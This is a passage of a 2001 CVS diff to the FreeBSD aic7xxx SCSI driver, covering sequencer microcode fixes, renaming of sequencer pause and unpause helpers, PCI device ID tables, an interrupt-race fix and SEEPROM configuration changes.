because the kernel will - * set the prefetch amount to a reasonable level if the - * cacheline size is unknown. - */ - mvi CCHCNT, SG_PREFETCH_CNT; - and CCHADDR[0], SG_PREFETCH_ALIGN_MASK, SCB_RESIDUAL_SGPTR; - bmov CCHADDR[1], SCB_RESIDUAL_SGPTR[1], 3; - mvi CCSGCTL, CCSGEN|CCSGRESET ret; + /* + * We fetch a "cacheline aligned" and sized amount of data + * so we don't end up referencing a non-existant page. + * Cacheline aligned is in quotes because the kernel will + * set the prefetch amount to a reasonable level if the + * cacheline size is unknown. + */ + mvi CCHCNT, SG_PREFETCH_CNT; + and CCHADDR[0], SG_PREFETCH_ALIGN_MASK, SCB_RESIDUAL_SGPTR; + bmov CCHADDR[1], SCB_RESIDUAL_SGPTR[1], 3; + mvi CCSGCTL, CCSGEN|CCSGRESET ret; idle_sgfetch_complete: - clr CCSGCTL; - test CCSGCTL, CCSGEN jnz .; - and CCSGADDR, SG_PREFETCH_ADDR_MASK, SCB_RESIDUAL_SGPTR; + call disable_ccsgen_fetch_done; + and CCSGADDR, SG_PREFETCH_ADDR_MASK, SCB_RESIDUAL_SGPTR; idle_sg_avail: - if ((ahc->features & AHC_ULTRA2) != 0) { - /* Does the hardware have space for another SG entry? */ - test DFSTATUS, PRELOAD_AVAIL jz return; - bmov HADDR, CCSGRAM, 4; - bmov SINDEX, CCSGRAM, 1; - test SINDEX, 0x1 jz . + 2; - xor DATA_COUNT_ODD, 0x1; - bmov HCNT[0], SINDEX, 1; - bmov HCNT[1], CCSGRAM, 2; - bmov SCB_RESIDUAL_DATACNT[3], CCSGRAM, 1; - call sg_advance; - mov SINDEX, SCB_RESIDUAL_SGPTR[0]; - test DATA_COUNT_ODD, 0x1 jz . + 2; - or SINDEX, ODD_SEG; - test SCB_RESIDUAL_DATACNT[3], SG_LAST_SEG jz . + 2; - or SINDEX, LAST_SEG; - mov SG_CACHE_PRE, SINDEX; - /* Load the segment by writing DFCNTRL again */ - mov DFCNTRL, DMAPARAMS; - } - ret; + if ((ahc->features & AHC_ULTRA2) != 0) { + /* Does the hardware have space for another SG entry? */ + test DFSTATUS, PRELOAD_AVAIL jz return; + bmov HADDR, CCSGRAM, 4; + bmov SINDEX, CCSGRAM, 1; + test SINDEX, 0x1 jz . + 2; + xor DATA_COUNT_ODD, 0x1; + bmov HCNT[0], SINDEX, 1; + bmov HCNT[1], CCSGRAM, 2; + bmov SCB_RESIDUAL_DATACNT[3], CCSGRAM, 1; + call sg_advance; + mov SINDEX, SCB_RESIDUAL_SGPTR[0]; + test DATA_COUNT_ODD, 0x1 jz . + 2; + or SINDEX, ODD_SEG; + test SCB_RESIDUAL_DATACNT[3], SG_LAST_SEG jz . + 2; + or SINDEX, LAST_SEG; + mov SG_CACHE_PRE, SINDEX; + /* Load the segment by writing DFCNTRL again */ + mov DFCNTRL, DMAPARAMS; } + ret; +} if ((ahc->bugs & AHC_PCI_MWI_BUG) != 0 && ahc->pci_cachesize != 0) { /* @@ -1149,12 +1157,6 @@ if ((ahc->flags & AHC_INITIATORROLE) != 0) { test SSTAT1, REQINIT jz .; test SSTAT1,PHASEMIS jz data_phase_loop; - - if ((ahc->features & AHC_CMD_CHAN) != 0) { - /* Kill off any pending prefetch */ - clr CCSGCTL; - test CCSGCTL, CCSGEN jnz .; - } } data_phase_done: @@ -1166,8 +1168,7 @@ */ if ((ahc->features & AHC_CMD_CHAN) != 0) { /* Kill off any pending prefetch */ - clr CCSGCTL; - test CCSGCTL, CCSGEN jnz .; + call disable_ccsgen; } if ((ahc->bugs & AHC_PCI_MWI_BUG) != 0 @@ -1648,12 +1649,27 @@ if ((ahc->flags & AHC_PAGESCBS) != 0) { mov ARG_1 call findSCB; } else { - mov SCBPTR, RETURN_1; + mov SCBPTR, ARG_1; } if ((ahc->flags & AHC_SCB_BTT) != 0) { jmp setup_SCB_id_lun_okay; } else { - jmp setup_SCB_id_okay; + /* + * We only allow one untagged command per-target + * at a time. So, if the lun doesn't match, look + * for a tag message. + */ + mov A, SCB_LUN; + cmp SAVED_LUN, A je setup_SCB_id_lun_okay; + if ((ahc->flags & AHC_PAGESCBS) != 0) { + /* + * findSCB removes the SCB from the + * disconnected list, so we must replace + * it there should this SCB be for another + * lun. + */ + call cleanup_scb; + } } /* @@ -1710,10 +1726,14 @@ test SCB_CONTROL,DISCONNECTED jz not_found_cleanup_scb; and SCB_CONTROL,~DISCONNECTED; test SCB_CONTROL, TAG_ENB jnz setup_SCB_tagged; - mov A, SCBPTR; + if ((ahc->flags & AHC_SCB_BTT) != 0) { + mov A, SCBPTR; + } mvi ARG_1, SCB_LIST_NULL; mov SAVED_SCSIID call set_busy_target; - mov SCBPTR, A; + if ((ahc->flags & AHC_SCB_BTT) != 0) { + mov SCBPTR, A; + } setup_SCB_tagged: mvi SEQ_FLAGS,IDENTIFY_SEEN; /* make note of IDENTIFY */ call set_transfer_settings; @@ -1724,7 +1744,7 @@ not_found_cleanup_scb: if ((ahc->flags & AHC_PAGESCBS) != 0) { - call add_scb_to_free_list; + call cleanup_scb; } not_found: mvi NO_MATCH call set_seqint; @@ -2056,6 +2076,7 @@ test DFSTATUS, HDONE jnz dma_scb_hang_dma_done; test DFSTATUS, HDONE jnz dma_scb_hang_dma_done; test DFSTATUS, HDONE jnz dma_scb_hang_dma_done; + test DFSTATUS, HDONE jnz dma_scb_hang_dma_done; /* * The PCI module no longer intends to perform * a PCI transaction and HDONE has not come true. @@ -2131,6 +2152,16 @@ test DFCNTRL, HDMAEN jnz .; ret; +/* + * Restore an SCB that failed to match an incoming reselection + * to the correct/safe state. If the SCB is for a disconnected + * transaction, it must be returned to the disconnected list. + * If it is not in the disconnected state, it must be free. + */ +cleanup_scb: + if ((ahc->flags & AHC_PAGESCBS) != 0) { + test SCB_CONTROL,DISCONNECTED jnz add_scb_to_disc_list; + } add_scb_to_free_list: if ((ahc->flags & AHC_PAGESCBS) != 0) { BEGIN_CRITICAL Index: aic7xxx_93cx6.c =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx_93cx6.c,v retrieving revision 1.8.2.2 diff -u -r1.8.2.2 aic7xxx_93cx6.c --- aic7xxx_93cx6.c 2001/01/07 22:50:47 1.8.2.2 +++ aic7xxx_93cx6.c 2001/03/01 17:42:43 @@ -28,7 +28,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7xxx_93cx6.c#5 $ + * $Id: //depot/src/aic7xxx/aic7xxx_93cx6.c#7 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7xxx_93cx6.c,v 1.8.2.2 2001/01/07 22:50:47 gibbs Exp $ */ Index: aic7xxx_freebsd.c =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx_freebsd.c,v retrieving revision 1.3.2.16 diff -u -r1.3.2.16 aic7xxx_freebsd.c --- aic7xxx_freebsd.c 2001/02/21 20:51:27 1.3.2.16 +++ aic7xxx_freebsd.c 2001/03/09 19:59:21 @@ -123,7 +123,7 @@ * declared it the primary channel. */ if ((ahc->features & AHC_TWIN) != 0 - && (ahc->flags & AHC_CHANNEL_B_PRIMARY) != 0) { + && (ahc->flags & AHC_PRIMARY_CHANNEL) != 0) { bus_id = 1; bus_id2 = 0; } else { @@ -214,7 +214,7 @@ fail: if ((ahc->features & AHC_TWIN) != 0 - && (ahc->flags & AHC_CHANNEL_B_PRIMARY) != 0) { + && (ahc->flags & AHC_PRIMARY_CHANNEL) != 0) { ahc->platform_data->sim_b = sim; ahc->platform_data->path_b = path; ahc->platform_data->sim = sim2; @@ -1239,12 +1239,12 @@ scb->flags |= SCB_ACTIVE; if ((scb->flags & SCB_TARGET_IMMEDIATE) != 0) { - pause_sequencer(ahc); + ahc_pause(ahc); if ((ahc->flags & AHC_PAGESCBS) == 0) ahc_outb(ahc, SCBPTR, scb->hscb->tag); ahc_outb(ahc, SCB_TAG, scb->hscb->tag); ahc_outb(ahc, RETURN_1, CONT_MSG_LOOP); - unpause_sequencer(ahc); + ahc_unpause(ahc); } else { ahc_queue_scb(ahc, scb); } @@ -1423,7 +1423,7 @@ /* Previous timeout took care of me already */ printf("%s: Timedout SCB already complete. " "Interrupts may not be functioning.\n", ahc_name(ahc)); - unpause_sequencer(ahc); + ahc_unpause(ahc); ahc_unlock(ahc, &s); return; } @@ -1440,11 +1440,7 @@ */ last_phase = ahc_inb(ahc, LASTPHASE); - for (i = 0; i < num_phases; i++) { - if (last_phase == phase_table[i].phase) - break; - } - printf("%s", phase_table[i].phasemsg); + printf("%s", ahc_lookup_phase_entry(last_phase)->phasemsg); printf(", SEQADDR == 0x%x\n", ahc_inb(ahc, SEQADDR0) | (ahc_inb(ahc, SEQADDR1) << 8)); @@ -1534,6 +1530,7 @@ ccbh = &scb->io_ctx->ccb_h; scb->io_ctx->ccb_h.timeout_ch = timeout(ahc_timeout, scb, newtimeout); + ahc_unpause(ahc); ahc_unlock(ahc, &s); return; } @@ -1552,7 +1549,7 @@ ahc_done(ahc, scb); /* Will clear us from the bus */ - restart_sequencer(ahc); + ahc_restart(ahc); ahc_unlock(ahc, &s); return; } @@ -1565,7 +1562,7 @@ active_scb->flags |= SCB_DEVICE_RESET; active_scb->io_ctx->ccb_h.timeout_ch = timeout(ahc_timeout, (caddr_t)active_scb, 2 * hz); - unpause_sequencer(ahc); + ahc_unpause(ahc); } else { int disconnected; @@ -1579,7 +1576,7 @@ /* Hung target selection. Goto busfree */ printf("%s: Hung target selection\n", ahc_name(ahc)); - restart_sequencer(ahc); + ahc_restart(ahc); ahc_unlock(ahc, &s); return; } @@ -1659,7 +1656,7 @@ ahc_outb(ahc, SCBPTR, saved_scbptr); scb->io_ctx->ccb_h.timeout_ch = timeout(ahc_timeout, (caddr_t)scb, 2 * hz); - unpause_sequencer(ahc); + ahc_unpause(ahc); } else { /* Go "immediatly" to the bus reset */ /* This shouldn't happen */ Index: aic7xxx_freebsd.h =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx_freebsd.h,v retrieving revision 1.2.2.4 diff -u -r1.2.2.4 aic7xxx_freebsd.h --- aic7xxx_freebsd.h 2001/01/27 20:56:28 1.2.2.4 +++ aic7xxx_freebsd.h 2001/03/11 04:27:43 @@ -49,7 +49,7 @@ #include #if NPCI > 0 -#define AHC_SUPPORT_PCI 1 +#define AHC_PCI_CONFIG 1 #ifdef AHC_ALLOW_MEMIO #include #endif @@ -407,7 +407,7 @@ } /********************************** PCI ***************************************/ -#ifdef AHC_SUPPORT_PCI +#ifdef AHC_PCI_CONFIG static __inline uint32_t ahc_pci_read_config(ahc_dev_softc_t pci, int reg, int width); static __inline void ahc_pci_write_config(ahc_dev_softc_t pci, @@ -449,10 +449,21 @@ { return (pci_get_bus(pci)); } + +typedef enum +{ + AHC_POWER_STATE_D0, + AHC_POWER_STATE_D1, + AHC_POWER_STATE_D2, + AHC_POWER_STATE_D3 +} ahc_power_state; + +void ahc_power_state_change(struct ahc_softc *ahc, + ahc_power_state new_state); #endif /******************************** VL/EISA *************************************/ int aic7770_map_registers(struct ahc_softc *ahc); -int aic7770_map_int(struct ahc_softc *ahc); +int aic7770_map_int(struct ahc_softc *ahc, int irq); /********************************* Debug **************************************/ static __inline void ahc_print_path(struct ahc_softc *, struct scb *); Index: aic7xxx_inline.h =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx_inline.h,v retrieving revision 1.2.2.8 diff -u -r1.2.2.8 aic7xxx_inline.h --- aic7xxx_inline.h 2001/02/21 20:51:28 1.2.2.8 +++ aic7xxx_inline.h 2001/03/11 04:55:27 @@ -28,7 +28,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7xxx_inline.h#15 $ + * $Id: //depot/src/aic7xxx/aic7xxx_inline.h#17 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7xxx_inline.h,v 1.2.2.8 2001/02/21 20:51:28 gibbs Exp $ */ @@ -37,10 +37,10 @@ #define _AIC7XXX_INLINE_H_ /************************* Sequencer Execution Control ************************/ -static __inline int sequencer_paused(struct ahc_softc *ahc); +static __inline int ahc_is_paused(struct ahc_softc *ahc); static __inline void ahc_pause_bug_fix(struct ahc_softc *ahc); -static __inline void pause_sequencer(struct ahc_softc *ahc); -static __inline void unpause_sequencer(struct ahc_softc *ahc); +static __inline void ahc_pause(struct ahc_softc *ahc); +static __inline void ahc_unpause(struct ahc_softc *ahc); /* * Work around any chip bugs related to halting sequencer execution. @@ -62,7 +62,7 @@ * Returns non-zero status if the sequencer is stopped. */ static __inline int -sequencer_paused(struct ahc_softc *ahc) +ahc_is_paused(struct ahc_softc *ahc) { return ((ahc_inb(ahc, HCNTRL) & PAUSE) != 0); } @@ -75,7 +75,7 @@ * for critical sections. */ static __inline void -pause_sequencer(struct ahc_softc *ahc) +ahc_pause(struct ahc_softc *ahc) { ahc_outb(ahc, HCNTRL, ahc->pause); @@ -83,7 +83,7 @@ * Since the sequencer can disable pausing in a critical section, we * must loop until it actually stops. */ - while (sequencer_paused(ahc) == 0) + while (ahc_is_paused(ahc) == 0) ; ahc_pause_bug_fix(ahc); @@ -100,7 +100,7 @@ * condition. */ static __inline void -unpause_sequencer(struct ahc_softc *ahc) +ahc_unpause(struct ahc_softc *ahc) { if ((ahc_inb(ahc, INTSTAT) & (SCSIINT | SEQINT | BRKADRINT)) == 0) ahc_outb(ahc, HCNTRL, ahc->unpause); @@ -345,10 +345,10 @@ ahc_outb(ahc, HNSCB_QOFF, ahc->qinfifonext); } else { if ((ahc->features & AHC_AUTOPAUSE) == 0) - pause_sequencer(ahc); + ahc_pause(ahc); ahc_outb(ahc, KERNEL_QINPOS, ahc->qinfifonext); if ((ahc->features & AHC_AUTOPAUSE) == 0) - unpause_sequencer(ahc); + ahc_unpause(ahc); } } @@ -412,14 +412,23 @@ * completion queues. This avoids a costly PCI bus read in * most cases. */ - intstat = 0; - if ((queuestat = ahc_check_cmdcmpltqueues(ahc)) != 0) + if ((ahc->flags & (AHC_ALL_INTERRUPTS|AHC_EDGE_INTERRUPT)) == 0 + && (queuestat = ahc_check_cmdcmpltqueues(ahc)) != 0) intstat = CMDCMPLT; - - if ((intstat & INT_PEND) == 0 - || (ahc->flags & AHC_ALL_INTERRUPTS) != 0) { - + else { intstat = ahc_inb(ahc, INTSTAT); + /* + * We can't generate queuestat once above + * or we are exposed to a race when our + * interrupt is shared with another device. + * if instat showed a command complete interrupt, + * but our first generation of queue stat + * "just missed" the delivery of this transaction, + * we would clear the command complete interrupt + * below without ever servicing the completed + * command. + */ + queuestat = ahc_check_cmdcmpltqueues(ahc); #if AHC_PCI_CONFIG > 0 if (ahc->unsolicited_ints > 500 && (ahc->chip & AHC_PCI) != 0 Index: aic7xxx_pci.c =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx_pci.c,v retrieving revision 1.2.2.8 diff -u -r1.2.2.8 aic7xxx_pci.c --- aic7xxx_pci.c 2001/02/21 20:51:28 1.2.2.8 +++ aic7xxx_pci.c 2001/03/11 04:55:50 @@ -30,7 +30,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7xxx_pci.c#16 $ + * $Id: //depot/src/aic7xxx/aic7xxx_pci.c#19 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7xxx_pci.c,v 1.2.2.8 2001/02/21 20:51:28 gibbs Exp $ */ @@ -63,84 +63,84 @@ return (id); } -#define ID_ALL_MASK 0xFFFFFFFFFFFFFFFFull -#define ID_DEV_VENDOR_MASK 0xFFFFFFFF00000000ull -#define ID_9005_GENERIC_MASK 0xFFF0FFFF00000000ull -#define ID_9005_SISL_MASK 0x000FFFFF00000000ull -#define ID_9005_SISL_ID 0x0005900500000000ull -#define ID_AIC7850 0x5078900400000000ull -#define ID_AHA_2910_15_20_30C 0x5078900478509004ull -#define ID_AIC7855 0x5578900400000000ull -#define ID_AIC7859 0x3860900400000000ull -#define ID_AHA_2930CU 0x3860900438699004ull -#define ID_AIC7860 0x6078900400000000ull -#define ID_AIC7860C 0x6078900478609004ull -#define ID_AHA_1480A 0x6075900400000000ull -#define ID_AHA_2940AU_0 0x6178900400000000ull -#define ID_AHA_2940AU_1 0x6178900478619004ull -#define ID_AHA_2940AU_CN 0x2178900478219004ull -#define ID_AHA_2930C_VAR 0x6038900438689004ull - -#define ID_AIC7870 0x7078900400000000ull -#define ID_AHA_2940 0x7178900400000000ull -#define ID_AHA_3940 0x7278900400000000ull -#define ID_AHA_398X 0x7378900400000000ull -#define ID_AHA_2944 0x7478900400000000ull -#define ID_AHA_3944 0x7578900400000000ull -#define ID_AHA_4944 0x7678900400000000ull - -#define ID_AIC7880 0x8078900400000000ull -#define ID_AIC7880_B 0x8078900478809004ull -#define ID_AHA_2940U 0x8178900400000000ull -#define ID_AHA_3940U 0x8278900400000000ull -#define ID_AHA_2944U 0x8478900400000000ull -#define ID_AHA_3944U 0x8578900400000000ull -#define ID_AHA_398XU 0x8378900400000000ull -#define ID_AHA_4944U 0x8678900400000000ull -#define ID_AHA_2940UB 0x8178900478819004ull -#define ID_AHA_2930U 0x8878900478889004ull -#define ID_AHA_2940U_PRO 0x8778900478879004ull -#define ID_AHA_2940U_CN 0x0078900478009004ull - -#define ID_AIC7895 0x7895900478959004ull -#define ID_AIC7895_ARO 0x7890900478939004ull -#define ID_AIC7895_ARO_MASK 0xFFF0FFFFFFFFFFFFull -#define ID_AHA_2940U_DUAL 0x7895900478919004ull -#define ID_AHA_3940AU 0x7895900478929004ull -#define ID_AHA_3944AU 0x7895900478949004ull - -#define ID_AIC7890 0x001F9005000F9005ull -#define ID_AIC7890_ARO 0x00139005000F9005ull -#define ID_AAA_131U2 0x0013900500039005ull -#define ID_AHA_2930U2 0x0011900501819005ull -#define ID_AHA_2940U2B 0x00109005A1009005ull -#define ID_AHA_2940U2_OEM 0x0010900521809005ull -#define ID_AHA_2940U2 0x00109005A1809005ull -#define ID_AHA_2950U2B 0x00109005E1009005ull - -#define ID_AIC7892 0x008F9005FFFF9005ull -#define ID_AIC7892_ARO 0x00839005FFFF9005ull -#define ID_AHA_29160 0x00809005E2A09005ull -#define ID_AHA_29160_CPQ 0x00809005E2A00E11ull -#define ID_AHA_29160N 0x0080900562A09005ull -#define ID_AHA_29160C 0x0080900562209005ull -#define ID_AHA_29160B 0x00809005E2209005ull -#define ID_AHA_19160B 0x0081900562A19005ull - -#define ID_AIC7896 0x005F9005FFFF9005ull -#define ID_AIC7896_ARO 0x00539005FFFF9005ull -#define ID_AHA_3950U2B_0 0x00509005FFFF9005ull -#define ID_AHA_3950U2B_1 0x00509005F5009005ull -#define ID_AHA_3950U2D_0 0x00519005FFFF9005ull -#define ID_AHA_3950U2D_1 0x00519005B5009005ull - -#define ID_AIC7899 0x00CF9005FFFF9005ull -#define ID_AIC7899_ARO 0x00C39005FFFF9005ull -#define ID_AHA_3960D 0x00C09005F6209005ull /* AKA AHA-39160 */ -#define ID_AHA_3960D_CPQ 0x00C09005F6200E11ull +#define ID_ALL_MASK 0xFFFFFFFFFFFFFFFFull +#define ID_DEV_VENDOR_MASK 0xFFFFFFFF00000000ull +#define ID_9005_GENERIC_MASK 0xFFF0FFFF00000000ull +#define ID_9005_SISL_MASK 0x000FFFFF00000000ull +#define ID_9005_SISL_ID 0x0005900500000000ull +#define ID_AIC7850 0x5078900400000000ull +#define ID_AHA_2902_04_10_15_20_30C 0x5078900478509004ull +#define ID_AIC7855 0x5578900400000000ull +#define ID_AIC7859 0x3860900400000000ull +#define ID_AHA_2930CU 0x3860900438699004ull +#define ID_AIC7860 0x6078900400000000ull +#define ID_AIC7860C 0x6078900478609004ull +#define ID_AHA_1480A 0x6075900400000000ull +#define ID_AHA_2940AU_0 0x6178900400000000ull +#define ID_AHA_2940AU_1 0x6178900478619004ull +#define ID_AHA_2940AU_CN 0x2178900478219004ull +#define ID_AHA_2930C_VAR 0x6038900438689004ull + +#define ID_AIC7870 0x7078900400000000ull +#define ID_AHA_2940 0x7178900400000000ull +#define ID_AHA_3940 0x7278900400000000ull +#define ID_AHA_398X 0x7378900400000000ull +#define ID_AHA_2944 0x7478900400000000ull +#define ID_AHA_3944 0x7578900400000000ull +#define ID_AHA_4944 0x7678900400000000ull + +#define ID_AIC7880 0x8078900400000000ull +#define ID_AIC7880_B 0x8078900478809004ull +#define ID_AHA_2940U 0x8178900400000000ull +#define ID_AHA_3940U 0x8278900400000000ull +#define ID_AHA_2944U 0x8478900400000000ull +#define ID_AHA_3944U 0x8578900400000000ull +#define ID_AHA_398XU 0x8378900400000000ull +#define ID_AHA_4944U 0x8678900400000000ull +#define ID_AHA_2940UB 0x8178900478819004ull +#define ID_AHA_2930U 0x8878900478889004ull +#define ID_AHA_2940U_PRO 0x8778900478879004ull +#define ID_AHA_2940U_CN 0x0078900478009004ull + +#define ID_AIC7895 0x7895900478959004ull +#define ID_AIC7895_ARO 0x7890900478939004ull +#define ID_AIC7895_ARO_MASK 0xFFF0FFFFFFFFFFFFull +#define ID_AHA_2940U_DUAL 0x7895900478919004ull +#define ID_AHA_3940AU 0x7895900478929004ull +#define ID_AHA_3944AU 0x7895900478949004ull + +#define ID_AIC7890 0x001F9005000F9005ull +#define ID_AIC7890_ARO 0x00139005000F9005ull +#define ID_AAA_131U2 0x0013900500039005ull +#define ID_AHA_2930U2 0x0011900501819005ull +#define ID_AHA_2940U2B 0x00109005A1009005ull +#define ID_AHA_2940U2_OEM 0x0010900521809005ull +#define ID_AHA_2940U2 0x00109005A1809005ull +#define ID_AHA_2950U2B 0x00109005E1009005ull + +#define ID_AIC7892 0x008F9005FFFF9005ull +#define ID_AIC7892_ARO 0x00839005FFFF9005ull +#define ID_AHA_29160 0x00809005E2A09005ull +#define ID_AHA_29160_CPQ 0x00809005E2A00E11ull +#define ID_AHA_29160N 0x0080900562A09005ull +#define ID_AHA_29160C 0x0080900562209005ull +#define ID_AHA_29160B 0x00809005E2209005ull +#define ID_AHA_19160B 0x0081900562A19005ull + +#define ID_AIC7896 0x005F9005FFFF9005ull +#define ID_AIC7896_ARO 0x00539005FFFF9005ull +#define ID_AHA_3950U2B_0 0x00509005FFFF9005ull +#define ID_AHA_3950U2B_1 0x00509005F5009005ull +#define ID_AHA_3950U2D_0 0x00519005FFFF9005ull +#define ID_AHA_3950U2D_1 0x00519005B5009005ull + +#define ID_AIC7899 0x00CF9005FFFF9005ull +#define ID_AIC7899_ARO 0x00C39005FFFF9005ull +#define ID_AHA_3960D 0x00C09005F6209005ull +#define ID_AHA_3960D_CPQ 0x00C09005F6200E11ull -#define ID_AIC7810 0x1078900400000000ull -#define ID_AIC7815 0x7815900400000000ull +#define ID_AIC7810 0x1078900400000000ull +#define ID_AIC7815 0x7815900400000000ull #define DEVID_9005_TYPE(id) ((id) & 0xF) #define DEVID_9005_TYPE_HBA 0x0 /* Standard Card */ @@ -212,8 +212,7 @@ #define SUBID_9005_CARD_PCIWIDTH_MASK 0x4000 #define SUBID_9005_CARD_SEDIFF_MASK 0x8000 -static ahc_device_setup_t ahc_aic7850_setup; -static ahc_device_setup_t ahc_aic7855_setup; +static ahc_device_setup_t ahc_aic785X_setup; static ahc_device_setup_t ahc_aic7860_setup; static ahc_device_setup_t ahc_apa1480_setup; static ahc_device_setup_t ahc_aic7870_setup; @@ -239,10 +238,10 @@ { /* aic7850 based controllers */ { - ID_AHA_2910_15_20_30C, + ID_AHA_2902_04_10_15_20_30C, ID_ALL_MASK, - "Adaptec 2910/15/20/30C SCSI adapter", - ahc_aic7850_setup + "Adaptec 2902/04/10/15/20/30C SCSI adapter", + ahc_aic785X_setup }, /* aic7860 based controllers */ { @@ -544,13 +543,13 @@ ID_AIC7850 & ID_DEV_VENDOR_MASK, ID_DEV_VENDOR_MASK, "Adaptec aic7850 SCSI adapter", - ahc_aic7850_setup + ahc_aic785X_setup }, { ID_AIC7855 & ID_DEV_VENDOR_MASK, ID_DEV_VENDOR_MASK, "Adaptec aic7855 SCSI adapter", - ahc_aic7855_setup + ahc_aic785X_setup }, { ID_AIC7859 & ID_DEV_VENDOR_MASK, @@ -636,6 +635,7 @@ #define DEVCONFIG 0x40 #define SCBSIZE32 0x00010000ul /* aic789X only */ +#define REXTVALID 0x00001000ul /* ultra cards only */ #define MPORTMODE 0x00000400ul /* aic7870 only */ #define RAMPSM 0x00000200ul /* aic7870 only */ #define VOLSENSE 0x00000100ul @@ -652,16 +652,6 @@ #define CACHESIZE 0x0000003ful /* only 5 bits */ #define LATTIME 0x0000ff00ul -typedef enum -{ - AHC_POWER_STATE_D0, - AHC_POWER_STATE_D1, - AHC_POWER_STATE_D2, - AHC_POWER_STATE_D3 -} ahc_power_state; - -static void ahc_power_state_change(struct ahc_softc *ahc, - ahc_power_state new_state); static int ahc_ext_scbram_present(struct ahc_softc *ahc); static void ahc_scbram_config(struct ahc_softc *ahc, int enable, int pcheck, int fast, int large); @@ -771,7 +761,7 @@ /* Remeber how the card was setup in case there is no SEEPROM */ if ((ahc_inb(ahc, HCNTRL) & POWRDN) == 0) { - pause_sequencer(ahc); + ahc_pause(ahc); if ((ahc->features & AHC_ULTRA2) != 0) our_id = ahc_inb(ahc, SCSIID_ULTRA2) & OID; else @@ -887,6 +877,20 @@ if ((sxfrctl1 & STPWEN) != 0) ahc->flags |= AHC_TERM_ENB_A; + /* + * We cannot perform ULTRA speeds without + * the presense of the external precision + * resistor. + */ + if ((ahc->features & AHC_ULTRA) != 0) { + uint32_t devconfig; + + devconfig = ahc_pci_read_config(ahc->dev_softc, + DEVCONFIG, /*bytes*/4); + if ((devconfig & REXTVALID) == 0) + ahc->flags |= AHC_ULTRA_DISABLED; + } + /* Core initialization */ error = ahc_init(ahc); if (error != 0) @@ -900,41 +904,6 @@ return (0); } -static void -ahc_power_state_change(struct ahc_softc *ahc, ahc_power_state new_state) -{ - uint32_t cap; - u_int cap_offset; - - /* - * Traverse the capability list looking for - * the power management capability. - */ - cap = 0; - cap_offset = ahc_pci_read_config(ahc->dev_softc, - PCIR_CAP_PTR, /*bytes*/1); - while (cap_offset != 0) { - - cap = ahc_pci_read_config(ahc->dev_softc, - cap_offset, /*bytes*/4); - if ((cap & 0xFF) == 1 - && ((cap >> 16) & 0x3) > 0) { - uint32_t pm_control; - - pm_control = ahc_pci_read_config(ahc->dev_softc, - cap_offset + 4, - /*bytes*/4); - pm_control &= ~0x3; - pm_control |= new_state; - ahc_pci_write_config(ahc->dev_softc, - cap_offset + 4, - pm_control, /*bytes*/2); - break; - } - cap_offset = (cap >> 8) & 0xFF; - } -} - /* * Test for the presense of external sram in an * "unshared" configuration. @@ -1184,32 +1153,37 @@ } sd.sd_chip = C56_66; } + release_seeprom(&sd); } -#if 0 if (!have_seeprom) { /* * Pull scratch ram settings and treat them as * if they are the contents of an seeprom if * the 'ADPT' signature is found in SCB2. + * We manually compose the data as 16bit values + * to avoid endian issues. */ ahc_outb(ahc, SCBPTR, 2); if (ahc_inb(ahc, SCB_BASE) == 'A' && ahc_inb(ahc, SCB_BASE + 1) == 'D' && ahc_inb(ahc, SCB_BASE + 2) == 'P' && ahc_inb(ahc, SCB_BASE + 3) == 'T') { - uint8_t *sc_bytes; + uint16_t *sc_data; int i; - sc_bytes = (uint8_t *)≻ - for (i = 0; i < 64; i++) - sc_bytes[i] = ahc_inb(ahc, TARG_SCSIRATE + i); - /* Byte 0x1c is stored in byte 4 of SCB2 */ - sc_bytes[0x1c] = ahc_inb(ahc, SCB_BASE + 4); + sc_data = (uint16_t *)≻ + for (i = 0; i < 32; i++) { + uint16_t val; + int j; + + j = i * 2; + val = ahc_inb(ahc, SRAM_BASE + j) + | ahc_inb(ahc, SRAM_BASE + j + 1) << 8; + } have_seeprom = verify_cksum(&sc); } } -#endif if (!have_seeprom) { if (bootverbose) @@ -1295,9 +1269,8 @@ if (sc.adapter_control & CFRESETB) scsi_conf |= RESET_SCSI; - if ((sc.adapter_control & CFCHNLBPRIMARY) != 0 - && (ahc->features & AHC_MULTI_FUNC) != 0) - ahc->flags |= AHC_CHANNEL_B_PRIMARY; + ahc->flags |= + (sc.adapter_control & CFBOOTCHAN) >> CFBOOTCHANSHIFT; if (sc.bios_control & CFEXTEND) ahc->flags |= AHC_EXTENDED_TRANS_A; @@ -1312,7 +1285,7 @@ ultraenb = 0; } - if (sc.signature == CFSIGNATURE) { + if (sc.signature >= CFSIGNATURE) { uint32_t devconfig; /* Honor the STPWLEVEL settings */ @@ -1356,10 +1329,11 @@ have_autoterm = FALSE; } - if (have_autoterm) + if (have_autoterm) { + acquire_seeprom(ahc, &sd); configure_termination(ahc, &sd, adapter_control, sxfrctl1); - - release_seeprom(&sd); + release_seeprom(&sd); + } } static void @@ -1800,28 +1774,22 @@ ahc_outb(ahc, CLRINT, CLRPARERR); } - unpause_sequencer(ahc); + ahc_unpause(ahc); } static int -ahc_aic7850_setup(ahc_dev_softc_t pci, struct ahc_probe_config *probe_config) +ahc_aic785X_setup(ahc_dev_softc_t pci, struct ahc_probe_config *probe_config) { + uint8_t rev; + probe_config->channel = 'A'; probe_config->chip = AHC_AIC7850; probe_config->features = AHC_AIC7850_FE; probe_config->bugs |= AHC_TMODE_WIDEODD_BUG|AHC_CACHETHEN_BUG - | AHC_PCI_MWI_BUG; - return (0); -} - -static int -ahc_aic7855_setup(ahc_dev_softc_t pci, struct ahc_probe_config *probe_config) -{ - probe_config->channel = 'A'; - probe_config->chip = 